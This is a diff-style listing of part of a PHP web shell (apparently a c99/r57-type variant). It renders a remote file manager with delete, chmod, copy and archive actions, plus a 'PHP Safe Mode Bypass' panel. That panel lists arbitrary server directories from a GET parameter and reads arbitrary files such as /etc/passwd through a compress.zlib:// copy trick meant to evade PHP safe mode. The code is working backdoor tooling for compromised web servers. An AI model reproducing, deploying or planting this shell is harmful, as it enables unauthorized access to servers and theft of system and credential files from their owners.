| 3645 | 3645 | ||
| 3646 | $row[$k] .= $y; | 3646 | $row[$k] .= $y; |
| 3647 | 3647 | ||
| 3648 | for($i=0;$i<count($row)-1;$i++) | 3648 | for($i=0;$i<count($row)-1;$i++) |
| 3649 | 3649 | ||
| 3650 | { | 3650 | { |
| 3651 | 3651 | ||
| 3652 | if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";} | 3652 | if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";} |
| 3653 | 3653 | ||
| 3654 | } | 3654 | } |
| 3655 | 3655 | ||
| 3656 | $v = $parsesort[0]; | 3656 | $v = $parsesort[0]; |
| 3657 | 3657 | ||
| 3658 | usort($objects["folders"], "tabsort"); | 3658 | usort($objects["folders"], "tabsort"); |
| 3659 | 3659 | ||
| 3660 | usort($objects["links"], "tabsort"); | 3660 | usort($objects["links"], "tabsort"); |
| 3661 | 3661 | ||
| 3662 | usort($objects["files"], "tabsort"); | 3662 | usort($objects["files"], "tabsort"); |
| 3663 | 3663 | ||
| 3664 | if ($parsesort[1] == "d") | 3664 | if ($parsesort[1] == "d") |
| 3665 | 3665 | ||
| 3666 | { | 3666 | { |
| 3667 | 3667 | ||
| 3668 | $objects["folders"] = array_reverse($objects["folders"]); | 3668 | $objects["folders"] = array_reverse($objects["folders"]); |
| 3669 | 3669 | ||
| 3670 | $objects["files"] = array_reverse($objects["files"]); | 3670 | $objects["files"] = array_reverse($objects["files"]); |
| 3671 | 3671 | ||
| 3672 | } | 3672 | } |
| 3673 | 3673 | ||
| 3674 | $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); | 3674 | $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); |
| 3675 | 3675 | ||
| 3676 | $tab = array(); | 3676 | $tab = array(); |
| 3677 | 3677 | ||
| 3678 | $tab["cols"] = array($row); | 3678 | $tab["cols"] = array($row); |
| 3679 | 3679 | ||
| 3680 | $tab["head"] = array(); | 3680 | $tab["head"] = array(); |
| 3681 | 3681 | ||
| 3682 | $tab["folders"] = array(); | 3682 | $tab["folders"] = array(); |
| 3683 | 3683 | ||
| 3684 | $tab["links"] = array(); | 3684 | $tab["links"] = array(); |
| 3685 | 3685 | ||
| 3686 | $tab["files"] = array(); | 3686 | $tab["files"] = array(); |
| 3687 | 3687 | ||
| 3688 | $i = 0; | 3688 | $i = 0; |
| 3689 | 3689 | ||
| 3690 | foreach ($objects as $a) | 3690 | foreach ($objects as $a) |
| 3691 | 3691 | ||
| 3692 | { | 3692 | { |
| 3693 | 3693 | ||
| 3694 | $v = $a[0]; | 3694 | $v = $a[0]; |
| 3695 | 3695 | ||
| 3696 | $o = basename($v); | 3696 | $o = basename($v); |
| 3697 | 3697 | ||
| 3698 | $dir = dirname($v); | 3698 | $dir = dirname($v); |
| 3699 | 3699 | ||
| 3700 | if ($disp_fullpath) {$disppath = $v;} | 3700 | if ($disp_fullpath) {$disppath = $v;} |
| 3701 | 3701 | ||
| 3702 | else {$disppath = $o;} | 3702 | else {$disppath = $o;} |
| 3703 | 3703 | ||
| 3704 | $disppath = str2mini($disppath,60); | 3704 | $disppath = str2mini($disppath,60); |
| 3705 | 3705 | ||
| 3706 | if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} | 3706 | if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} |
| 3707 | 3707 | ||
| 3708 | elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} | 3708 | elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} |
| 3709 | 3709 | ||
| 3710 | foreach ($regxp_highlight as $r) | 3710 | foreach ($regxp_highlight as $r) |
| 3711 | 3711 | ||
| 3712 | { | 3712 | { |
| 3713 | 3713 | ||
| 3714 | if (ereg($r[0],$o)) | 3714 | if (ereg($r[0],$o)) |
| 3715 | 3715 | ||
| 3716 | { | 3716 | { |
| 3717 | 3717 | ||
| 3718 | if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; cyb3rexit();} | 3718 | if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; cyb3rexit();} |
| 3719 | 3719 | ||
| 3720 | else | 3720 | else |
| 3721 | 3721 | ||
| 3722 | { | 3722 | { |
| 3723 | 3723 | ||
| 3724 | $r[1] = round($r[1]); | 3724 | $r[1] = round($r[1]); |
| 3725 | 3725 | ||
| 3726 | $isdir = is_dir($v); | 3726 | $isdir = is_dir($v); |
| 3727 | 3727 | ||
| 3728 | if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) | 3728 | if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) |
| 3729 | 3729 | ||
| 3730 | { | 3730 | { |
| 3731 | 3731 | ||
| 3732 | if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} | 3732 | if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} |
| 3733 | 3733 | ||
| 3734 | $disppath = $r[2].$disppath.$r[3]; | 3734 | $disppath = $r[2].$disppath.$r[3]; |
| 3735 | 3735 | ||
| 3736 | if ($r[4]) {break;} | 3736 | if ($r[4]) {break;} |
| 3737 | 3737 | ||
| 3738 | } | 3738 | } |
| 3739 | 3739 | ||
| 3740 | } | 3740 | } |
| 3741 | 3741 | ||
| 3742 | } | 3742 | } |
| 3743 | 3743 | ||
| 3744 | } | 3744 | } |
| 3745 | 3745 | ||
| 3746 | $uo = urlencode($o); | 3746 | $uo = urlencode($o); |
| 3747 | 3747 | ||
| 3748 | $ud = urlencode($dir); | 3748 | $ud = urlencode($dir); |
| 3749 | 3749 | ||
| 3750 | $uv = urlencode($v); | 3750 | $uv = urlencode($v); |
| 3751 | 3751 | ||
| 3752 | $row = array(); | 3752 | $row = array(); |
| 3753 | 3753 | ||
| 3754 | if ($o == ".") | 3754 | if ($o == ".") |
| 3755 | 3755 | ||
| 3756 | { | 3756 | { |
| 3757 | 3757 | ||
| 3758 | $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\"> <a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; | 3758 | $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\"> <a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; |
| 3759 | 3759 | ||
| 3760 | $row[] = "LINK"; | 3760 | $row[] = "LINK"; |
| 3761 | 3761 | ||
| 3762 | } | 3762 | } |
| 3763 | 3763 | ||
| 3764 | elseif ($o == "..") | 3764 | elseif ($o == "..") |
| 3765 | 3765 | ||
| 3766 | { | 3766 | { |
| 3767 | 3767 | ||
| 3768 | $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\"> <a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; | 3768 | $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\"> <a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; |
| 3769 | 3769 | ||
| 3770 | $row[] = "LINK"; | 3770 | $row[] = "LINK"; |
| 3771 | 3771 | ||
| 3772 | } | 3772 | } |
| 3773 | 3773 | ||
| 3774 | elseif (is_dir($v)) | 3774 | elseif (is_dir($v)) |
| 3775 | 3775 | ||
| 3776 | { | 3776 | { |
| 3777 | 3777 | ||
| 3778 | if (is_link($v)) | 3778 | if (is_link($v)) |
| 3779 | 3779 | ||
| 3780 | { | 3780 | { |
| 3781 | 3781 | ||
| 3782 | $disppath .= " => ".readlink($v); | 3782 | $disppath .= " => ".readlink($v); |
| 3783 | 3783 | ||
| 3784 | $type = "LINK"; | 3784 | $type = "LINK"; |
| 3785 | 3785 | ||
| 3786 | $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\"> <a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; | 3786 | $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\"> <a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; |
| 3787 | 3787 | ||
| 3788 | } | 3788 | } |
| 3789 | 3789 | ||
| 3790 | else | 3790 | else |
| 3791 | 3791 | ||
| 3792 | { | 3792 | { |
| 3793 | 3793 | ||
| 3794 | $type = "DIR"; | 3794 | $type = "DIR"; |
| 3795 | 3795 | ||
| 3796 | $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\"> <a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; | 3796 | $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\"> <a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; |
| 3797 | 3797 | ||
| 3798 | } | 3798 | } |
| 3799 | 3799 | ||
| 3800 | $row[] = $type; | 3800 | $row[] = $type; |
| 3801 | 3801 | ||
| 3802 | } | 3802 | } |
| 3803 | 3803 | ||
| 3804 | elseif(is_file($v)) | 3804 | elseif(is_file($v)) |
| 3805 | 3805 | ||
| 3806 | { | 3806 | { |
| 3807 | 3807 | ||
| 3808 | $ext = explode(".",$o); | 3808 | $ext = explode(".",$o); |
| 3809 | 3809 | ||
| 3810 | $c = count($ext)-1; | 3810 | $c = count($ext)-1; |
| 3811 | 3811 | ||
| 3812 | $ext = $ext[$c]; | 3812 | $ext = $ext[$c]; |
| 3813 | 3813 | ||
| 3814 | $ext = strtolower($ext); | 3814 | $ext = strtolower($ext); |
| 3815 | 3815 | ||
| 3816 | $row[] = "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\"> <a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>"; | 3816 | $row[] = "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\"> <a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>"; |
| 3817 | 3817 | ||
| 3818 | $row[] = view_size($a[1]); | 3818 | $row[] = view_size($a[1]); |
| 3819 | 3819 | ||
| 3820 | } | 3820 | } |
| 3821 | 3821 | ||
| 3822 | $row[] = date("d.m.Y H:i:s",$a[2]); | 3822 | $row[] = date("d.m.Y H:i:s",$a[2]); |
| 3823 | 3823 | ||
| 3824 | if (!$win) {$row[] = $a[3];} | 3824 | if (!$win) {$row[] = $a[3];} |
| 3825 | 3825 | ||
| 3826 | $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; | 3826 | $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; |
| 3827 | 3827 | ||
| 3828 | if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;} | 3828 | if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;} |
| 3829 | 3829 | ||
| 3830 | else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";} | 3830 | else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";} |
| 3831 | 3831 | ||
| 3832 | if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a> ".$checkbox;} | 3832 | if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a> ".$checkbox;} |
| 3833 | 3833 | ||
| 3834 | else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a> <a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a> <a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a> ".$checkbox;} | 3834 | else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a> <a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a> <a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a> ".$checkbox;} |
| 3835 | 3835 | ||
| 3836 | if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} | 3836 | if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} |
| 3837 | 3837 | ||
| 3838 | elseif (is_link($v)) {$tab["links"][] = $row;} | 3838 | elseif (is_link($v)) {$tab["links"][] = $row;} |
| 3839 | 3839 | ||
| 3840 | elseif (is_dir($v)) {$tab["folders"][] = $row;} | 3840 | elseif (is_dir($v)) {$tab["folders"][] = $row;} |
| 3841 | 3841 | ||
| 3842 | elseif (is_file($v)) {$tab["files"][] = $row;} | 3842 | elseif (is_file($v)) {$tab["files"][] = $row;} |
| 3843 | 3843 | ||
| 3844 | $i++; | 3844 | $i++; |
| 3845 | 3845 | ||
| 3846 | } | 3846 | } |
| 3847 | 3847 | ||
| 3848 | } | 3848 | } |
| 3849 | 3849 | ||
| 3850 | // Compiling table | 3850 | // Compiling table |
| 3851 | 3851 | ||
| 3852 | $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); | 3852 | $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); |
| 3853 | 3853 | ||
| 3854 | echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#15354c borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">"; | 3854 | echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#15354c borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">"; |
| 3855 | 3855 | ||
| 3856 | foreach($table as $row) | 3856 | foreach($table as $row) |
| 3857 | 3857 | ||
| 3858 | { | 3858 | { |
| 3859 | 3859 | ||
| 3860 | echo "<tr>\r\n"; | 3860 | echo "<tr>\r\n"; |
| 3861 | 3861 | ||
| 3862 | foreach($row as $v) {echo "<td>".$v."</td>\r\n";} | 3862 | foreach($row as $v) {echo "<td>".$v."</td>\r\n";} |
| 3863 | 3863 | ||
| 3864 | echo "</tr>\r\n"; | 3864 | echo "</tr>\r\n"; |
| 3865 | 3865 | ||
| 3866 | } | 3866 | } |
| 3867 | 3867 | ||
| 3868 | echo "</table><br><hr size=\"1\" noshade><p align=\"right\"> | 3868 | echo "</table><br><hr size=\"1\" noshade><p align=\"right\"> |
| 3869 | 3869 | ||
| 3870 | <script> | 3870 | <script> |
| 3871 | 3871 | ||
| 3872 | function ls_setcheckboxall(status) | 3872 | function ls_setcheckboxall(status) |
| 3873 | 3873 | ||
| 3874 | { | 3874 | { |
| 3875 | 3875 | ||
| 3876 | var id = 1; | 3876 | var id = 1; |
| 3877 | 3877 | ||
| 3878 | var num = ".(count($table)-2)."; | 3878 | var num = ".(count($table)-2)."; |
| 3879 | 3879 | ||
| 3880 | while (id <= num) | 3880 | while (id <= num) |
| 3881 | 3881 | ||
| 3882 | { | 3882 | { |
| 3883 | 3883 | ||
| 3884 | document.getElementById('actbox'+id).checked = status; | 3884 | document.getElementById('actbox'+id).checked = status; |
| 3885 | 3885 | ||
| 3886 | id++; | 3886 | id++; |
| 3887 | 3887 | ||
| 3888 | } | 3888 | } |
| 3889 | 3889 | ||
| 3890 | } | 3890 | } |
| 3891 | 3891 | ||
| 3892 | function ls_reverse_all() | 3892 | function ls_reverse_all() |
| 3893 | 3893 | ||
| 3894 | { | 3894 | { |
| 3895 | 3895 | ||
| 3896 | var id = 1; | 3896 | var id = 1; |
| 3897 | 3897 | ||
| 3898 | var num = ".(count($table)-2)."; | 3898 | var num = ".(count($table)-2)."; |
| 3899 | 3899 | ||
| 3900 | while (id <= num) | 3900 | while (id <= num) |
| 3901 | 3901 | ||
| 3902 | { | 3902 | { |
| 3903 | 3903 | ||
| 3904 | document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; | 3904 | document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; |
| 3905 | 3905 | ||
| 3906 | id++; | 3906 | id++; |
| 3907 | 3907 | ||
| 3908 | } | 3908 | } |
| 3909 | 3909 | ||
| 3910 | } | 3910 | } |
| 3911 | 3911 | ||
| 3912 | </script> | 3912 | </script> |
| 3913 | 3913 | ||
| 3914 | <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\"> <input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\"> | 3914 | <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\"> <input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\"> |
| 3915 | 3915 | ||
| 3916 | <b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">"; | 3916 | <b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">"; |
| 3917 | 3917 | ||
| 3918 | if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) | 3918 | if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) |
| 3919 | 3919 | ||
| 3920 | { | 3920 | { |
| 3921 | 3921 | ||
| 3922 | echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\"> <input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\"> <input type=submit name=\"actpastebuff\" value=\"Paste\"> <input type=submit name=\"actemptybuff\" value=\"Empty buffer\"> "; | 3922 | echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\"> <input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\"> <input type=submit name=\"actpastebuff\" value=\"Paste\"> <input type=submit name=\"actemptybuff\" value=\"Empty buffer\"> "; |
| 3923 | 3923 | ||
| 3924 | } | 3924 | } |
| 3925 | 3925 | ||
| 3926 | echo "<select name=act><option value=\"".$act."\">With selected:</option>"; | 3926 | echo "<select name=act><option value=\"".$act."\">With selected:</option>"; |
| 3927 | 3927 | ||
| 3928 | echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>"; | 3928 | echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>"; |
| 3929 | 3929 | ||
| 3930 | echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>"; | 3930 | echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>"; |
| 3931 | 3931 | ||
| 3932 | if ($usefsbuff) | 3932 | if ($usefsbuff) |
| 3933 | 3933 | ||
| 3934 | { | 3934 | { |
| 3935 | 3935 | ||
| 3936 | echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>"; | 3936 | echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>"; |
| 3937 | 3937 | ||
| 3938 | echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>"; | 3938 | echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>"; |
| 3939 | 3939 | ||
| 3940 | echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>"; | 3940 | echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>"; |
| 3941 | 3941 | ||
| 3942 | } | 3942 | } |
| 3943 | 3943 | ||
| 3944 | echo "</select> <input type=submit value=\"Confirm\"></p>"; | 3944 | echo "</select> <input type=submit value=\"Confirm\"></p>"; |
| 3945 | 3945 | ||
| 3946 | echo "</form><hr size=\"1\" noshade>"; | 3946 | echo "</form><hr size=\"1\" noshade>"; |
| 3947 | } | 3947 | } |
| 3948 | ?> | 3948 | ?> |
| 3949 | <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" borderColorLight=#c0c0c0 border=1> | 3949 | <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" borderColorLight=#c0c0c0 border=1> |
| 3950 | <tr> <!-- 1 --> | 3950 | <tr> <!-- 1 --> |
| 3951 | <td valign="top" width="33%" ><p align="center"><b>:: PHP Safe Mode Bypass ::</b></p></td> | 3951 | <td valign="top" width="33%" ><p align="center"><b>:: PHP Safe Mode Bypass ::</b></p></td> |
| 3952 | <td valign="top" width="33%" ><p align="center"><b>:: Make File/Directory ::</b></p></td> | 3952 | <td valign="top" width="33%" ><p align="center"><b>:: Make File/Directory ::</b></p></td> |
| 3953 | <td valign="top" ><p align="center"><b>:: Go File/Directory ::</b></p></td> | 3953 | <td valign="top" ><p align="center"><b>:: Go File/Directory ::</b></p></td> |
| 3954 | </tr> | 3954 | </tr> |
| 3955 | <tr><!-- 3 --> | 3955 | <tr><!-- 3 --> |
| 3956 | <td valign="top"> | 3956 | <td valign="top"> |
| 3957 | 3957 | ||
| 3958 | <center><b>(: List Directories :)</b> <form action="<?php echo $surl; ?>"> | 3958 | <center><b>(: List Directories :)</b> <form action="<?php echo $surl; ?>"> |
| 3959 | 3959 | ||
| 3960 | <div align="center"><br> | 3960 | <div align="center"><br> |
| 3961 | 3961 | ||
| 3962 | Dir: <input type="text" name="directory" method="get"> <input type="submit" value="List Directory"><br><br> eg: /etc/<br></div> | 3962 | Dir: <input type="text" name="directory" method="get"> <input type="submit" value="List Directory"><br><br> eg: /etc/<br></div> |
| 3963 | <?php | 3963 | <?php |
| 3964 | 3964 | ||
| 3965 | 3965 | ||
| 3966 | 3966 | ||
| 3967 | function rsg_glob() | 3967 | function rsg_glob() |
| 3968 | 3968 | ||
| 3969 | { | 3969 | { |
| 3970 | 3970 | ||
| 3971 | $chemin=$_GET['directory']; | 3971 | $chemin=$_GET['directory']; |
| 3972 | 3972 | ||
| 3973 | $files = glob("$chemin*"); | 3973 | $files = glob("$chemin*"); |
| 3974 | 3974 | ||
| 3975 | echo "Trying To List Folder <font color=#000099><b>$chemin</b></font><br>"; | 3975 | echo "Trying To List Folder <font color=#000099><b>$chemin</b></font><br>"; |
| 3976 | 3976 | ||
| 3977 | foreach ($files as $filename) { | 3977 | foreach ($files as $filename) { |
| 3978 | 3978 | ||
| 3979 | echo "<pre>"; | 3979 | echo "<pre>"; |
| 3980 | 3980 | ||
| 3981 | echo "$filename\n"; | 3981 | echo "$filename\n"; |
| 3982 | 3982 | ||
| 3983 | echo "</pre>"; | 3983 | echo "</pre>"; |
| 3984 | 3984 | ||
| 3985 | } | 3985 | } |
| 3986 | 3986 | ||
| 3987 | } | 3987 | } |
| 3988 | 3988 | ||
| 3989 | 3989 | ||
| 3990 | 3990 | ||
| 3991 | if(isset($_GET['directory'])) | 3991 | if(isset($_GET['directory'])) |
| 3992 | 3992 | ||
| 3993 | { | 3993 | { |
| 3994 | 3994 | ||
| 3995 | rsg_glob(); | 3995 | rsg_glob(); |
| 3996 | 3996 | ||
| 3997 | } | 3997 | } |
| 3998 | 3998 | ||
| 3999 | 3999 | ||
| 4000 | 4000 | ||
| 4001 | ?> | 4001 | ?> |
| 4002 | 4002 | ||
| 4003 | 4003 | ||
| 4004 | </form></center> | 4004 | </form></center> |
| 4005 | 4005 | ||
| 4006 | </td> | 4006 | </td> |
| 4007 | <td> | 4007 | <td> |
| 4008 | <center><b>[: Make Directory :]</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Create"><br><?php echo $wdt; ?></form></center> | 4008 | <center><b>[: Make Directory :]</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Create"><br><?php echo $wdt; ?></form></center> |
| 4009 | </td> | 4009 | </td> |
| 4010 | <td> | 4010 | <td> |
| 4011 | <center><b>{: Go Directory :}</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go"></form></center> | 4011 | <center><b>{: Go Directory :}</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go"></form></center> |
| 4012 | </td> | 4012 | </td> |
| 4013 | </tr> | 4013 | </tr> |
| 4014 | <tr><!-- 2 --> | 4014 | <tr><!-- 2 --> |
| 4015 | <td valign="top"> | 4015 | <td valign="top"> |
| 4016 | 4016 | ||
| 4017 | <div align="center"><b>(: Read Files :)</b></div><br> | 4017 | <div align="center"><b>(: Read Files :)</b></div><br> |
| 4018 | 4018 | ||
| 4019 | <form action="<?php echo $surl; ?>"> | 4019 | <form action="<?php echo $surl; ?>"> |
| 4020 | 4020 | ||
| 4021 | <div align="center">File: <input type="text" name="file" method="get"> <input type="submit" value="Read File"><br><br> eg: /etc/passwd<br> | 4021 | <div align="center">File: <input type="text" name="file" method="get"> <input type="submit" value="Read File"><br><br> eg: /etc/passwd<br> |
| 4022 | <?php | 4022 | <?php |
| 4023 | 4023 | ||
| 4024 | function rsg_read() | 4024 | function rsg_read() |
| 4025 | 4025 | ||
| 4026 | { | 4026 | { |
| 4027 | 4027 | ||
| 4028 | $test=""; | 4028 | $test=""; |
| 4029 | 4029 | ||
| 4030 | $temp=tempnam($test, "cx"); | 4030 | $temp=tempnam($test, "cx"); |
| 4031 | 4031 | ||
| 4032 | $file=$_GET['file']; | 4032 | $file=$_GET['file']; |
| 4033 | 4033 | ||
| 4034 | $get=htmlspecialchars($file); | 4034 | $get=htmlspecialchars($file); |
| 4035 | 4035 | ||
| 4036 | echo "<br>Trying To Get File <font color=#000099><b>$get</b></font><br>"; | 4036 | echo "<br>Trying To Get File <font color=#000099><b>$get</b></font><br>"; |
| 4037 | 4037 | ||
| 4038 | if(copy("compress.zlib://".$file, $temp)){ | 4038 | if(copy("compress.zlib://".$file, $temp)){ |
| 4039 | 4039 | ||
| 4040 | $fichier = fopen($temp, "r"); | 4040 | $fichier = fopen($temp, "r"); |
| 4041 | 4041 | ||
| 4042 | $action = fread($fichier, filesize($temp)); | 4042 | $action = fread($fichier, filesize($temp)); |
| 4043 | 4043 | ||
| 4044 | fclose($fichier); | 4044 | fclose($fichier); |
| 4045 | 4045 | ||
| 4046 | $source=htmlspecialchars($action); | 4046 | $source=htmlspecialchars($action); |
| 4047 | 4047 | ||
| 4048 | echo "<div class=\"shell\"><b>Start $get</b><br><br><font color=\"white\">$source</font><br><b><br>Fin <font color=#000099>$get</font></b>"; | 4048 | echo "<div class=\"shell\"><b>Start $get</b><br><br><font color=\"white\">$source</font><br><b><br>Fin <font color=#000099>$get</font></b>"; |
| 4049 | 4049 | ||
| 4050 | unlink($temp); | 4050 | unlink($temp); |
| 4051 | 4051 | ||
| 4052 | } else { | 4052 | } else { |
| 4053 | 4053 | ||
| 4054 | die("<FONT COLOR=\"RED\"><CENTER>Sorry... File | 4054 | die("<FONT COLOR=\"RED\"><CENTER>Sorry... File |
| 4055 | 4055 | ||
| 4056 | <B>".htmlspecialchars($file)."</B> dosen't exists or you don't have | 4056 | <B>".htmlspecialchars($file)."</B> dosen't exists or you don't have |
| 4057 | 4057 | ||
| 4058 | access.</CENTER></FONT>"); | 4058 | access.</CENTER></FONT>"); |
| 4059 | 4059 | ||
| 4060 | } | 4060 | } |
| 4061 | 4061 | ||
| 4062 | echo "</div>"; | 4062 | echo "</div>"; |
| 4063 | 4063 | ||
| 4064 | } | 4064 | } |
| 4065 | 4065 | ||
| 4066 | 4066 | ||
| 4067 | 4067 | ||
| 4068 | if(isset($_GET['file'])) | 4068 | if(isset($_GET['file'])) |
| 4069 | 4069 | ||
